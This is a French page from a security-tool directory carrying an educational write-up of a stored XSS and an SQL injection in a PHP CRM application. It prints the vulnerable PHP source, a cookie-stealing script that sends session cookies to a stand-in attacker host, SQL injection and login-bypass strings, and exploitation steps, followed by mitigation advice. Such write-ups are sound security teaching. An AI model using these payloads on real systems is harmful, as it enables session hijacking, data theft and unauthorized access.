Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — Analyse pédagogique de CVE-2023-24203 (XSS stocké) et CVE-2023-24204 (Injection SQL) dans SourceCodester CRM, avec étapes d'exploitation et stratégies d'atténuation. | Kitploit
Outils/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebArticles et RechercheApprentissage et Éducation
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

Analyse pédagogique de CVE-2023-24203 (XSS stocké) et CVE-2023-24204 (Injection SQL) dans SourceCodester CRM, avec étapes d'exploitation et stratégies d'atténuation.

Voir le dépôt
1il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-24203-and-CVE-2023-24204

Introduction

Dans le paysage en constante évolution de la cybersécurité, les applications web restent une cible de choix pour les attaquants cherchant à exploiter des vulnérabilités. Récemment, deux vulnérabilités critiques ont été découvertes dans le système Simple Customer Relationship Management (CRM) v1.0 de SourceCodester : CVE-2023-24203 et CVE-2023-24204. Ces vulnérabilités, impliquant du Cross-Site Scripting (XSS) et de l'injection SQL, présentent des risques importants, notamment l'exécution de code arbitraire et l'accès non autorisé. Comprendre ces vulnérabilités et leurs impacts est essentiel pour les développeurs et les professionnels de la sécurité afin de protéger les systèmes contre les menaces potentielles.

Cross-Site Scripting (XSS)

Le Cross-Site Scripting (XSS) est un type de vulnérabilité qui survient lorsqu'une application web permet aux utilisateurs d'injecter des scripts malveillants dans des pages web consultées par d'autres utilisateurs. Cela peut entraîner des actions non autorisées au nom de l'utilisateur, le vol de données et une exploitation plus poussée. Les vulnérabilités XSS peuvent être classées en trois types principaux :

  1. XSS stocké : Le script malveillant est stocké de manière permanente sur le serveur cible, par exemple dans une base de données, un forum de discussion ou un champ de commentaire.
  2. XSS réfléchi : Le script malveillant est réfléchi par un serveur web, par exemple dans un message d'erreur, un résultat de recherche ou toute autre réponse qui inclut une partie ou la totalité des données envoyées au serveur.
  3. XSS basé sur le DOM : La vulnérabilité existe dans le code côté client plutôt que dans le code côté serveur.

Injection SQL

L'injection SQL est un type de vulnérabilité qui survient lorsqu'un attaquant parvient à manipuler des requêtes SQL en injectant du code SQL arbitraire dans une requête. Cela peut conduire à un accès non autorisé, au vol de données et à d'autres activités malveillantes. L'injection SQL se produit généralement en raison d'une validation insuffisante des entrées et de l'absence de requêtes paramétrées. Les principaux impacts de l'injection SQL sont les suivants :

  1. Accès non autorisé : Les attaquants peuvent contourner les mécanismes d'authentification pour obtenir un accès non autorisé à un système.
  2. Vol de données : Les attaquants peuvent exfiltrer des informations sensibles depuis la base de données.
  3. Manipulation de données : Les attaquants peuvent modifier, insérer ou supprimer des données dans la base de données.

Dans cet article de blog, nous allons examiner en détail CVE-2023-24203 et CVE-2023-24204, en explorant les spécificités de ces vulnérabilités, leurs vecteurs d'attaque, leurs impacts et les stratégies d'atténuation. Comprendre ces vulnérabilités en profondeur est crucial pour protéger vos applications et vos données contre les exploits potentiels.

Causes courantes d'injection SQL dans les applications web

Les vulnérabilités d'injection SQL sont souvent le résultat d'une validation inadéquate des entrées et de mauvaises pratiques de codage. Certaines causes courantes sont les suivantes :

  1. Absence de requêtes paramétrées : Le fait de ne pas utiliser de requêtes paramétrées permet aux attaquants d'injecter du code SQL malveillant dans une chaîne de requête.
  2. Validation inadéquate des entrées : Ne pas valider correctement les entrées utilisateur peut conduire à l'exécution de commandes SQL non souhaitées.
  3. Requêtes SQL dynamiques : Construire des requêtes SQL dynamiquement en concaténant des chaînes directement à partir des entrées utilisateur peut créer des vulnérabilités exploitables.
  4. Échappement insuffisant des entrées utilisateur : Ne pas échapper correctement les caractères spéciaux dans les entrées utilisateur peut permettre des attaques par injection SQL.
  5. Code hérité : Les bases de code plus anciennes peuvent ne pas suivre les pratiques de sécurité modernes, ce qui les rend plus vulnérables à l'injection SQL.

Causes courantes de XSS dans les applications web

Les vulnérabilités de Cross-Site Scripting (XSS) sont généralement causées par une mauvaise gestion des entrées et sorties utilisateur. Les causes courantes sont les suivantes :

  1. Encodage de sortie incorrect : Ne pas encoder les entrées utilisateur avant de les afficher sur les pages web peut permettre l'injection de scripts malveillants.
  2. Validation inadéquate des entrées : Ne pas valider ni assainir les entrées utilisateur peut conduire à l'exécution de scripts injectés.
  3. Entrées utilisateur réfléchies : Renvoyer directement les entrées utilisateur dans les réponses sans validation ni encodage appropriés peut entraîner un XSS réfléchi.
  4. Entrées utilisateur stockées : Stocker les entrées utilisateur sans assainissement approprié peut conduire à des attaques XSS stockées.
  5. Manipulation du DOM : La manipulation non sécurisée du Document Object Model (DOM) basée sur les entrées utilisateur peut entraîner un XSS basé sur le DOM.

CVE-2023-24203 : Découverte d'un XSS stocké !

Résumé de la vulnérabilité

CVE-2023-24203 est une vulnérabilité de Cross-Site Scripting (XSS) stocké trouvée dans le composant get-quote.php du système Simple Customer Relationship Management (CRM) v1.0 de SourceCodester. Cette vulnérabilité permet à un attaquant d'injecter des scripts malveillants dans les paramètres company et query, qui sont ensuite stockés dans la base de données et exécutés lorsqu'un administrateur les consulte, conduisant à l'exécution de code arbitraire.

Détails de la vulnérabilité

La vulnérabilité réside dans le script get-quote.php, qui traite les entrées utilisateur d'un formulaire de demande de devis. Le code source PHP est présenté ci-dessous :

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

Le script prend les entrées utilisateur du formulaire (name, email, contact, company, services, other et query) et les intègre directement dans une requête SQL pour stocker les données dans la base de données. Alors que l'entrée services est assainie à l'aide de mysqli_real_escape_string et addslashes, les paramètres company et query ne sont pas correctement assainis ni encodés lorsqu'ils sont renvoyés dans la réponse. Ce manque d'assainissement et d'encodage appropriés permet l'injection et le stockage de scripts malveillants dans la base de données.

Exploitation

Pour exploiter cette vulnérabilité, un attaquant peut élaborer une charge utile contenant du code JavaScript malveillant dans le paramètre company ou query. Lorsque l'administrateur consulte la demande de devis, le script injecté s'exécutera dans son navigateur.

Exemple de charge utile d'exploitation

En soumettant la charge utile suivante dans le paramètre query :

root@kitploit:~
<script>alert('XSS');</script>

L'attaquant peut déclencher une attaque XSS lorsque l'administrateur consulte la demande de devis.

Vol des cookies de l'administrateur

Une charge utile plus dangereuse peut être élaborée pour voler les cookies de session de l'administrateur. En utilisant la charge utile suivante dans le paramètre query :

root@kitploit:~
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

L'attaquant peut envoyer les cookies de l'administrateur à un serveur distant contrôlé par l'attaquant.

Étapes d'exploitation

Soumettre une demande de devis malveillante : L'attaquant remplit le formulaire de demande de devis en injectant la charge utile malveillante dans le champ company ou query.

root@kitploit:~
<form method="post" action="get-quote.php">
    <input type="text" name="company" value="CompanyX"><br>
    <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
    <input type="submit" name="submit" value="Submit">
</form>

L'administrateur consulte la demande : Lorsque l'administrateur se connecte au système CRM et consulte le devis soumis, le script malveillant s'exécute dans son navigateur, envoyant ses cookies de session au serveur de l'attaquant.

Impact

L'exploitation réussie de cette vulnérabilité de XSS stocké permet à un attaquant d'exécuter du JavaScript arbitraire dans le contexte du navigateur de l'administrateur. Cela peut conduire à diverses actions malveillantes, notamment :

  • Voler les cookies de session
  • Détourner les sessions utilisateur
  • Effectuer des actions non autorisées au nom de l'administrateur
  • Rediriger l'administrateur vers des sites web malveillants

Atténuation

Pour atténuer cette vulnérabilité, il est essentiel d'assainir et d'encoder toutes les entrées utilisateur avant de les intégrer dans la page web. Concrètement :

  • Assainir les entrées : Utilisez des fonctions comme htmlspecialchars() pour encoder les caractères spéciaux dans les entrées utilisateur.
  • Valider les entrées : Mettez en œuvre une validation stricte des entrées pour garantir que seules les données attendues sont acceptées.
  • Politique de sécurité du contenu (CSP) : Utilisez des en-têtes CSP pour restreindre les sources à partir desquelles les scripts peuvent être chargés et exécutés.

CVE-2023-24204 : Découverte d'une injection SQL et d'un contournement d'authentification !

CVE-2023-24204 est une vulnérabilité d'injection SQL trouvée dans les composants get-quote.php et login.php du système Simple Customer Relationship Management (CRM) v1.0 de SourceCodester. Cette vulnérabilité permet à un attaquant d'injecter des commandes SQL arbitraires dans la base de données, ce qui peut potentiellement conduire à un accès non autorisé et à une manipulation des données.

Détails de la vulnérabilité

La vulnérabilité d'injection SQL est présente à la fois dans les scripts get-quote.php et admin/login.php. Voici une analyse de la manière dont ces vulnérabilités se manifestent et peuvent être exploitées.

get-quote.php

Le script get-quote.php traite les entrées utilisateur d'un formulaire de demande de devis. Le code source est présenté ci-dessous :

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

Examinons également la logique du code source de login.php.

root@kitploit:~
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
$city = $addrDetailsArr['geoplugin_city']; 
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");

$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";

echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>

Analyse de la vulnérabilité

Le script get-quote.php n'assainit pas de manière adéquate le paramètre name. Un attaquant peut intercepter la requête à l'aide d'un outil comme Burp Suite, modifier le paramètre name et injecter des commandes SQL malveillantes.

Le script login.php est vulnérable au contournement d'authentification en raison de l'absence de validation appropriée des entrées sur les champs email et password. Un attaquant peut utiliser une charge utile telle que hack' or 1=1;# pour contourner l'authentification et obtenir un accès.

Exploitation

  1. Exploitation de get-quote.php
  2. Intercepter la requête : Utilisez un outil proxy comme Burp Suite pour intercepter la requête de soumission du formulaire.
  3. Modifier le paramètre name : Injectez des commandes SQL malveillantes dans le paramètre name. Par exemple :

' OR '1'='1';--

  1. Soumettre la requête modifiée : Envoyez la requête modifiée au serveur. La commande SQL injectée sera exécutée par la base de données.

  2. Exploitation de login.php

  3. Accéder à la page de connexion : Rendez-vous sur la page login.php.

  4. Saisir la charge utile malveillante : Utilisez une charge utile telle que hack' or 1=1;# dans le champ email et une chaîne quelconque dans le champ password.



  1. Contourner l'authentification : Soumettez le formulaire. La charge utile contourne l'authentification, accordant l'accès au compte.

Impact

L'exploitation réussie de ces vulnérabilités d'injection SQL peut conduire à diverses actions malveillantes, notamment :

  • Accès non autorisé : Les attaquants peuvent obtenir un accès administratif au système.
  • Vol de données : Les attaquants peuvent exfiltrer des informations sensibles depuis la base de données.
  • Manipulation de données : Les attaquants peuvent modifier, insérer ou supprimer des données dans la base de données.

Atténuation

Pour atténuer ces vulnérabilités, il est essentiel de mettre en œuvre une validation appropriée des entrées et d'utiliser des requêtes paramétrées. Concrètement :

  • Utiliser des instructions préparées : Mettez en œuvre des requêtes paramétrées pour empêcher l'injection SQL.
  • Valider les entrées : Appliquez une validation stricte des entrées pour garantir que seules les données attendues sont acceptées.
  • Échapper les entrées : Échappez correctement toutes les entrées utilisateur avant de les utiliser dans les requêtes SQL.

En suivant ces bonnes pratiques, vous pouvez réduire considérablement le risque d'attaques par injection SQL et protéger votre application web contre une exploitation potentielle.

Télécharger l’outil